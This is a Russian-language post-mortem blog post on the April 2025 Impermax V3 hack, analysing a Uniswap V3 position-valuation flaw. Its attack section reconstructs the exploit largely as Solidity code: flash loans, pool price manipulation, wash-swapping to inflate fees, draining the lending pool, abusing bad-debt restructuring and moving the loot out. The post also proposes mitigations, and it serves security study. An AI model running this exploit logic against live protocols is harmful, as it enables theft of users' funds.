Май 29, 2025, by bakhankov
Анализ взлома Impermax V3
26 и 27 апреля 2025 года Impermax V3 стал целью скоординированного эксплойта, охватившего блокчейны Base и Arbitrum. Злоумышленник успешно извлек примерно 170 ETH, что на тот момент оценивалось примерно в 300 000 долларов США. Примечательно, что атака была организована с использованием средств, переведенных через протокол deBridge, который, по-видимому, также сыграл роль в сокрытии части украденных активов.
Давайте подробнее рассмотрим сам протокол.
Impermax
Impermax представляет важную инновацию в децентрализованных финансах, позволяя пользователям брать займы непосредственно под свои LP-токены DEX. Когда пользователь поставляет ликвидность в пул AMM, он получает LP-токены, которые отражают его долю в пуле. Impermax позволяет использовать эти LP-токены, которые обычно состоят из двух разных активов, в качестве залога для заимствования.
Этот подход дает пользователям большую гибкость. Они могут получить займ в одном из двух токенов в LP-паре или сразу обоих. Например, если кто-то держит LP-токен пары ETH и USDC, он может занять либо больше ETH, либо больше USDC, в зависимости от своих потребностей. Этот доступ к заемной ликвидности создает новые стратегические возможности. Он превращает LP-токены из пассивных активов в активные инструменты, которые повышают эффективность использования капитала. Пользователи могут использовать ценность, выраженную в их LP-токенах, не извлекая свои активы из пула AMM. Это также открывает двери для мультипликативного эффекта с использованием кредитного плеча, где заемные токены используются для увеличения LP-позиции. В результате пользователи потенциально могут иметь больший доход на торговых комиссиях и других вознаграждениях.
Эта система заимствования работает, т.к. Impermax предоставляет пуллы ликвидности для кредитования отдельно по каждому токену. Поставщики ликвидности для займов в экосистеме предоставляют отдельные токены, такие как ETH или USDC, в эти пулы, с целью получения дохода. Когда пользователь берет заем под свои LP-токены, он берет один конкретный актив из одного из этих пулов с одним токеном.
V3
Impermax V3 нацелен на предоставление займов под залог позиции Uniswap V3. Это важное развитие, потому что Uniswap V3 внес серьезные изменения в то, как предоставляется ликвидность, по сравнению с Uniswap V2. Вместо равномерного распределения ликвидности по всему диапазону цен сразу, Uniswap V3 позволяет поставщикам ликвидности концентрировать свой капитал в определенных ценовых диапазонах. В результате каждая LP-позиция Uniswap V3 может быть уникальной. Эти позиции представлены в виде NFT токенов, а не ERC20 токенов, как в Uniswap V2.
Давайте подробнее рассмотрим, как пользователь взаимодействует с Impermax.
Пример заимствования
Полный пример кода можно найти здесь.
Прежде всего, нам нужно определить несколько переменных:
tokenizedUniV3Pos
- Контракт, который хранит и управляет LP-позициями, используемыми в качестве залога для займов.
imxBUSDC
- Контракт, который управляет заимствованиями по отдельному токену. В нашем случае - USDC.
imxC
- Контракт, который управляет залогом. Он хранит адреса tokenizedUniV3Pos
и imxBUSDC
, так что мы можем инстанцировать их позже.
ITokenizedUniswapV3Position tokenizedUniV3Pos;
IBorrowable imxBUSDC;
ICollateral imxC = ICollateral(0xc1D49fa32d150B31C4a5bf1Cbf23Cf7Ac99eaF7d);
fee
- (размер комиссии uniswapV3) представляет пул Uniswap, который мы будем использовать в нашей демонстрации. Список доступных пулов можно найти здесь: https://app.uniswap.org/positions/create/v3
uint24 fee = 200;
usdcLPAmount
и wethLPAmount
- суммы, которые мы будем использовать для предоставления ликвидности в uniswap:
uint256 usdcLPAmount = 180e6; // 180 USDC
uint256 wethLPAmount = 0.1e18; // 0.1 WETH
Теперь мы можем получить экземпляр пула uniswapV3, который мы будем использовать:
IUniswapV3Pool pool = IUniswapV3Pool(tokenizedUniV3Pos.getPool(fee));
Затем, чтобы предоставить ликвидность, нам нужно определить диапазон тиков, в который мы будем вливать ее. Например, +-2,5% от текущей цены:
int24 poolTickSpacing = pool.tickSpacing();
(uint160 sqrtPriceX96, int24 tick,,,,,) = pool.slot0();
int24 tickLower = int24(int256(tick) * 975 / 1000);
// align lower tick to tickSpacing
tickLower = tickLower - (tickLower % poolTickSpacing);
int24 tickUpper = int24(int256(tick) * 1025 / 1000);
tickUpper = tickUpper - (tickUpper % poolTickSpacing);
// in case tickUpper < tickLower, swap them
if (tickUpper < tickLower) (tickUpper, tickLower) = (tickLower, tickUpper);
Теперь мы можем рассчитать количество ликвидности, которое мы собираемся предоставить:
uint128 poolMintAmount = LiquidityAmounts.getLiquidityForAmounts(
sqrtPriceX96,
TickMath.getSqrtRatioAtTick(tickLower),
TickMath.getSqrtRatioAtTick(tickUpper),
wethLPAmount,
usdcLPAmount
);
На этом этапе мы готовы добавить ликвидность:
pool.mint(
address(tokenizedUniV3Pos),
tickLower,
tickUpper,
poolMintAmount,
abi.encode(address(WETH), address(USDC))
);
Теперь нам нужно токенизировать нашу позицию и создать залоговую позицию:
uint256 tokenId = tokenizedUniV3Pos.mint(address(this), fee, tickLower, tickUpper);
tokenizedUniV3Pos.transferFrom(address(this), address(imxC), tokenId);
imxC.mint(address(this), tokenId);
Наконец, мы можем взять заем под залог нашей позиции UniswapV3:
uint256 toBorrow = (totalUsdcProvided * 75) / 100;
imxBUSDC.borrow(tokenId, address(this), toBorrow, "");
Готово.
В этом разделе мы рассмотрели пример кода для заимствования в Impermax V3. Для того чтобы мы могли занимать под наши LP-токены, протокол должен содержать функциональность для оценки нашей позиции.
И тут мы подбираемся к слабому месту протокола.
Уязвимость
В данном случае сложно указать на конкретную строку в коде протокола, которую можно было бы идентифицировать как явную ошибку, приведшую к взлому. Здесь имеет место фундаментальная ошибка в интеграции со сторонним протоколом (uniswapV3). Некоторые функциональные возможности интегрированного протокола не учитываются корректно. В частности, не учитывается случай, когда текущий тик находится за границей токенизированной позиции. А также тот факт, что цена в пуле может быть искусственно изменена, в результате чего она будет отличаться от цены, сообщаемой оракулом.
Итак, давайте рассмотрим несколько важных фактов, характеризующих эту атаку:
- Позиция создана вдали от реального тика.
- Злоумышленник обладает достаточными средствами для изменения цены в пределах своей позиции.
- Функция оценки использует цену из оракула, в то время как в пуле цена сильно отличается.
- Реструктуризация займа не запускает процесс ликвидации.
Теперь мы можем рассмотреть некоторые части кода протокола, где такая позиция вызовет проблемы:
extensions/TokenizedUniswapV3Position.sol#L109-L116
Здесь метод getPositionData
в TokenizedUniswapV3Position
предназначен для расчета количества USDC и WETH, хранящихся внутри позиции. Но поскольку priceSqrtX96
, предоставленный оракулом, отличается от текущей цены и находится вне диапазона позиции, метод вернет только одну сторону позиции:
priceSqrtX96 = oraclePriceSqrtX96();
uint160 currentPrice = safe160(priceSqrtX96);
uint160 lowestPrice = safe160(priceSqrtX96.mul(1e18).div(safetyMarginSqrt));
uint160 highestPrice = safe160(priceSqrtX96.mul(safetyMarginSqrt).div(1e18));
(realXYs.lowestPrice.realX, realXYs.lowestPrice.realY) = LiquidityAmounts.getAmountsForLiquidity(lowestPrice, pa, pb, position.liquidity);
(realXYs.currentPrice.realX, realXYs.currentPrice.realY) = LiquidityAmounts.getAmountsForLiquidity(currentPrice, pa, pb, position.liquidity);
(realXYs.highestPrice.realX, realXYs.highestPrice.realY) = LiquidityAmounts.getAmountsForLiquidity(highestPrice, pa, pb, position.liquidity);
Причина, по которой это произошло, может быть найдена в коде библиотеки.
extensions/libraries/LiquidityAmounts.sol#L129
Если priceSqrtX96
находится вне диапазона позиции, это означает, что эта позиция в данный момент содержит ликвидность только в одном токене:
function getAmountsForLiquidity(
...
) internal pure returns (uint256 amount0, uint256 amount1) {
...
if (sqrtRatioX96 <= sqrtRatioAX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
} else if ...
}
Далее, суммы токенов позиции, включая начисленные комиссии, передаются в CollateralMath
для расчета стоимости позиции. Тот же код используется для оценки стоимости займа. Код умножает количество одного токена на цену и добавляет произведение второго токена на 2**192/price
. Что наводит на вопрос: в каких единицах мы получаем результат?
libraries/CollateralMath.sol#L64
function getValue(PositionObject memory positionObject, Price price, uint amountX, uint amountY) internal pure returns (uint) {
uint priceSqrtX96 = positionObject.priceSqrtX96;
if (price == Price.LOWEST) priceSqrtX96 = priceSqrtX96.mul(1e18).div(positionObject.safetyMarginSqrt);
if (price == Price.HIGHEST) priceSqrtX96 = priceSqrtX96.mul(positionObject.safetyMarginSqrt).div(1e18);
uint relativePriceX = getRelativePriceX(priceSqrtX96);
uint relativePriceY = getRelativePriceY(priceSqrtX96); // Q192.div(priceSqrtX96)
return amountX.mul(relativePriceX).div(Q64).add(amountY.mul(relativePriceY).div(Q64));
}
Наконец, накопленные комиссии, полученные на предыдущих этапах, не будут полностью реинвестированы. Это связано с тем, что сильно смещенная текущая цена требует искаженного соотношения токенов для добавления ликвидности, и часть комиссий, накопленных в WETH, останется неинвестированной:
extensions/TokenizedUniswapV3Position.sol#L78-L87
function _getfeeCollectedAndGrowth(Position memory position, address pool) internal view returns (uint256 fg0, uint256 fg1, uint256 feeCollected0, uint256 feeCollected1) {
bytes32 hash = UniswapV3Position.getHash(address(this), position.tickLower, position.tickUpper);
(,fg0, fg1,,) = IUniswapV3Pool(pool).positions(hash);
uint256 delta0 = fg0 - position.feeGrowthInside0LastX128;
uint256 delta1 = fg1 - position.feeGrowthInside1LastX128;
feeCollected0 = delta0.mul(position.liquidity).div(Q128).add(position.unclaimedFees0);
feeCollected1 = delta1.mul(position.liquidity).div(Q128).add(position.unclaimedFees1);
}
Еще один важный момент: реструктуризация займа не запускает процесс ликвидации, а только уменьшает запись о сумме заема:
function restructureBadDebt(uint tokenId) external nonReentrant {
CollateralMath.PositionObject memory positionObject = _getPositionObject(tokenId);
uint postLiquidationCollateralRatio = positionObject.getPostLiquidationCollateralRatio();
require(postLiquidationCollateralRatio < 1e18, "ImpermaxV3Collateral: NOT_UNDERWATER");
IBorrowable(borrowable0).restructureDebt(tokenId, postLiquidationCollateralRatio);
IBorrowable(borrowable1).restructureDebt(tokenId, postLiquidationCollateralRatio);
blockOfLastRestructureOrLiquidation[tokenId] = block.number;
emit RestructureBadDebt(tokenId, postLiquidationCollateralRatio);
}
И теперь мы можем посмотреть, как была проэксплуатирована эта уязвимость.
Атака
Анализ атаки проводился на основе транзакции 0x14ea5...3ed77, полный список транзакций можно найти в конце этого раздела.
Дисклеймер:
Полный пример кода можно найти здесь.
Злоумышленник ранее провел off-chain разведку и подготовил некоторые входные данные.
Помимо адресов контрактов Impermax, были изучены суммы, доступные для флеш-займов. И были определены два пула uniswapV3: один с очень низкой ликвидностью и один с максимальной ликвидностью.
Первым шагом было получение флеш-займов в токенах WETH и USDC на Morpho.
Затем он определил пул с низкой ликвидностью и взял его текущий тик:
IUniswapV3Pool pool = IUniswapV3Pool(tokenizedUniV3Pos.getPool(lowLiquidityPoolFee));
(, int24 baseTick,,,,,) = pool.slot0();
Он сделал относительно большой обмен, чтобы увидеть, как изменится цена:
(int256 priceMovedWithAmount0,) =
pool.swap(address(this), false, firstSwapUsdcAmount, sqrtPriceLimitX96_0, abi.encode(weth, usdc));
(uint160 movedSqrtPriceX96, int24 movedTick,,,,,) = pool.slot0();
Нижний тик был определен как 2,5% выше базового тика:
int256 tickMultiplierBase = 1000;
int256 tickLowerMultiplier;
if (baseTick < 0) {
tickLowerMultiplier = tickMultiplierBase - 25;
} else {
tickLowerMultiplier = tickMultiplierBase + 25;
}
int24 tickLower = int24(int256(baseTick) * tickLowerMultiplier / tickMultiplierBase);
tickLower = tickLower - (tickLower % poolTickSpacing);
Верхний тик был определен как тик при смещенной цене:
int24 tickUpper = movedTick + poolTickSpacing - (movedTick % poolTickSpacing);
if (tickLower > tickUpper) (tickLower, tickUpper) = (tickUpper, tickLower);
Далее была посчитана ликвидность, которая должна быть предоставлена, на основе 20 миллионов USDC:
uint128 poolMintAmount = LiquidityAmounts.getLiquidityForAmounts(
movedSqrtPriceX96,
TickMath.getSqrtRatioAtTick(tickLower),
TickMath.getSqrtRatioAtTick(tickUpper),
wethBorrowed,
usdcLPAmount
);
Ликвидность предоставлена, позиция токенизирована, залоговая позиция создана:
pool.mint(tUniV3Pos, tickLower, tickUpper, poolMintAmount, abi.encode(weth, usdc));
uint256 newTokenId = tokenizedUniV3Pos.mint(address(this), lowLiquidityPoolFee, tickLower, tickUpper);
tokenizedUniV3Pos.transferFrom(address(this), imxCaddr, newTokenId);
imxC.mint(address(this), newTokenId);
Wash-swapping для получения комиссий (Стоит отметить, что комиссии были оплачены с баланса злоумышленника, размер ликвидности пула не изменился):
int256 washAmount = int256(usdcLPAmount * 97 / 100); // 19,400,000 USDC
int256 backWashAmount = addFee(washAmount, lowLiquidityPoolFee);
for (uint16 i = 0; i < 100; i++) {
pool.swap(address(this), true, -washAmount, sqrtPriceLimitX96_1, abi.encode(weth, usdc));
pool.swap(address(this), false, backWashAmount, sqrtPriceLimitX96_0, abi.encode(weth, usdc));
}
В тот момент, когда пул был накачан комиссиями, можно было определить максимальную сумму для заимствования под позицию злоумышленника на основе расчетов, используемых самим протоколом:
uint256 liquidationPenalty = imxC.liquidationPenalty();
uint256 safetyMarginSqrt = imxC.safetyMarginSqrt();
(uint256 sqrtPriceX96, INFTLP.RealXYs memory realXYs) =
INFTLP(tUniV3Pos).getPositionData(newTokenId, safetyMarginSqrt);
uint256 debtX = IBorrowable(imxBweth).currentBorrowBalance(newTokenId);
// here we use usdcLPAmount as placeholder, we will calculate the real amount later
uint256 debtY = usdcLPAmount;
// here we reversing the protocol math to find how much USDC we can borrow against the collateral
CollateralMath.PositionObject memory positionObject =
CollateralMath.newPosition(realXYs, sqrtPriceX96, debtX, debtY, liquidationPenalty, safetyMarginSqrt);
{
CollateralMath.Price price = CollateralMath.Price.LOWEST;
uint256 collateralValue = CollateralMath.getCollateralValue(positionObject, price);
uint256 debtYCalculated = CollateralMath.getDebtY(positionObject, price, debtX, collateralValue);
if (debtYCalculated < debtY) {
debtY = debtYCalculated;
}
}
{
CollateralMath.Price price = CollateralMath.Price.HIGHEST;
uint256 collateralValue = CollateralMath.getCollateralValue(positionObject, price);
uint256 debtYCalculated = CollateralMath.getDebtY(positionObject, price, debtX, collateralValue);
if (debtYCalculated < debtY) {
debtY = debtYCalculated;
}
}
debtY = debtY * 1e18 / liquidationPenalty;
Здесь злоумышленник сам выступил в качестве поставщика ликвидности для атакованного пула заимствования:
uint256 imxBUSDC_USDCBalance = USDC.balanceOf(address(imxBUSDC));
USDC.transfer(address(imxBUSDC), debtY - imxBUSDC_USDCBalance);
imxBUSDC.mint(address(this));
И взял кредит в размере всех доступных средств в пуле (предоставленных как им самим, так и другими пользователями):
imxBUSDC_USDCBalance = USDC.balanceOf(address(imxBUSDC));
imxBUSDC.borrow(newTokenId, address(this), imxBUSDC_USDCBalance, "");
Вызов Reinvest извлекает накопленные комиссии и добавляет их к ликвидность пула. Это приводит к тому, что рассчитанная стоимость позиции падает ниже здорового уровня:
tokenizedUniV3Pos.reinvest(newTokenId, address(this));
Затем недообеспеченный займ был реструктурирован. Однако, поскольку ликвидация не была вызвана, а записи о займе были только перезаписаны, злоумышленник погасил 75% кредита "бесплатно".
imxC.restructureBadDebt(newTokenId);
Затем оставшиеся 25% кредита были погашены:
uint256 currentBorrowBalance = imxBUSDC.currentBorrowBalance(newTokenId);
USDC.transfer(address(imxBUSDC), currentBorrowBalance);
imxBUSDC.borrow(newTokenId, address(this), 0, "");
Залоговая позиция была погашена:
imxC.redeem(address(this), newTokenId, 1e18);
Токенизированная позиция была конвертирована непосредственно в базовые токены (WETH и USDC):
tokenizedUniV3Pos.redeem(address(this), newTokenId);
Цена пула с низкой ликвидностью была сброшена до ее первоначального значения:
int256 priceMoveBackAmount = addFee(-priceMovedWithAmount0, lowLiquidityPoolFee);
pool.swap(address(this), true, priceMoveBackAmount, sqrtPriceLimitX96_1, abi.encode(weth, usdc));
Ликвидность добавленная ранее в пул заимствования изъята (только 25%, которые были выплачены честным погашением кредита):
uint256 toTransfer = USDC.balanceOf(address(imxBUSDC)) * 1e18 / imxBUSDC.exchangeRate();
imxBUSDC.transfer(address(imxBUSDC), toTransfer);
imxBUSDC.redeem(address(this));
На этом этапе злоумышленник вывел ликвидность пула uniswap, комиссии пула и часть ликвидности, предоставленной для заимствования. А также сохранил заимствованную сумму.
Затем был использован пул с высокой ликвидностью для обмена украденных средств на WETH, чтобы иметь возможность погасить флеш-займ.
IUniswapV3Pool pool500 = IUniswapV3Pool(tokenizedUniV3Pos.getPool(highLiquidityPoolFee));
uint256 thisWETHBalance = WETH.balanceOf(address(this));
if (wethBorrowed > thisWETHBalance) {
pool500.swap(
address(this),
false,
int256(wethBorrowed - thisWETHBalance) * -1,
sqrtPriceLimitX96_0,
abi.encode(weth, usdc)
);
}
Когда флеш-займ был погашен, он обменял выручку из USDC на WETH:
uint256 thisUSDCBalance = IERC20(usdc).balanceOf(address(this));
IUniswapV3Pool pool500 = IUniswapV3Pool(tokenizedUniV3Pos.getPool(highLiquidityPoolFee));
pool500.swap(address(this), false, int256(thisUSDCBalance), sqrtPriceLimitX96_0, abi.encode(weth, usdc));
WETH в эфир:
uint256 thisWETHBalance = WETH.balanceOf(address(this));
WETH.withdraw(thisWETHBalance);
И перевел на другой адрес:
payable(lootReceiver).call{value: thisWETHBalance}("");
Злоумышленник имел очень глубокое понимание интегрированного протокола и особенностей его функционирования. Эта атака отличается очень изощренным подходом к определению метода извлечения прибыли.
Транзакции, связанные с взломом
Блокчейн Base:
Транзакция | Извлечено ETH |
---|---|
0xde90...45983 | 34.59645795 |
0xeac7...a3436 | 15.57019255 |
0xcbcf...08304 | 12.07254967 |
0x1bfa...e1caf | 10.29978595 |
0x6644...60657 | 22.89657999 |
0x2377...c91e9 | 0.98906282 |
0x6cad...6d728 | 4.14101626 |
0xa533...88ef4 | 0.8873651 |
0xf00c...a18ff | 3.41702417 |
0x69e5...eb35e | 7.29924837 |
0x14ea...3ed77 | 1.53861513 |
0x0b9d...f5316 | 0.98900363 |
0x2885...f2e02 | 0.98900328 |
0xc516...e6b53 | 0.88697381 |
0x58e0...0a85b | 0.88696941 |
0xf744...4f44c | 0.1001 |
0xad4f...26a56 | 1.29642032 |
0x47c4...9a276 | 0.0026442 |
0xe542...b7bcf | 1.47983218 |
0xd47a...d8257 | 0.75381959 |
Блокчейн Arbitrum:
Транзакция | Извлечено ETH |
---|---|
0xaafa...758e3 | 40.02116831 |
0x9491...70385 | 5.96246942 |
0x11d7...52fb4 | 2.94425477 |
0x0c39...b3903 | 0.00241737 |
Устранение
Устранение должно быть направлено на первопричину уязвимости, которой является незнание интегрируемого протокола. Основное внимание следует уделить надежному алгоритму оценки позиции.
1. Алгоритм может быть основан на оценке ликвидности позиции. Нераспределенные комиссии могут быть надежно конвертированы в будущую ликвидность.
2. Необходимо добавить проверку расстояния текущей цены пула от цены оракула.
function canBorrow(uint tokenId, address borrowable, uint accountBorrows) public returns (bool) {
...
CollateralMath.PositionObject memory positionObject = _getPositionObjectAmounts(tokenId, debtX, debtY);
+ (uint24 fee,,,,,,,) = INFTLP(underlying).positions(tokenId);
+ IUniswapV3Pool pool = IUniswapV3Pool(INFTLP(underlying).getPool(fee));
+ (uint160 sqrtPriceX96,,,,,,) = pool.slot0();
+ // ⬇цена пула ⬇цена оракула
+ uint256 pricesRatio = uint256(sqrtPriceX96) * 1e18 / positionObject.priceSqrtX96;
+ if (pricesRatio < 1e18) {
+ pricesRatio = 1e18 / pricesRatio;
+ }
+ require(pricesRatio <= safetyMarginSqrt, "ImpermaxV3Collateral: POOL_PRICE_TOO_FAR_FROM_ORACLE_PRICE");
return !positionObject.isLiquidatable();
}
3. Рассмотреть возможность запуска ликвидации части позиции при реструктуризации займа.
В любом случае, новый алгоритм должен быть тщательно протестирован с моделированием различных пограничных случаев.
Комментарии
Есть мысли, вопросы или отзывы об этом анализе?
Присоединяйтесь к обсуждению на X и поделитесь своей точкой зрения:
Мы будем рады услышать ваше мнение!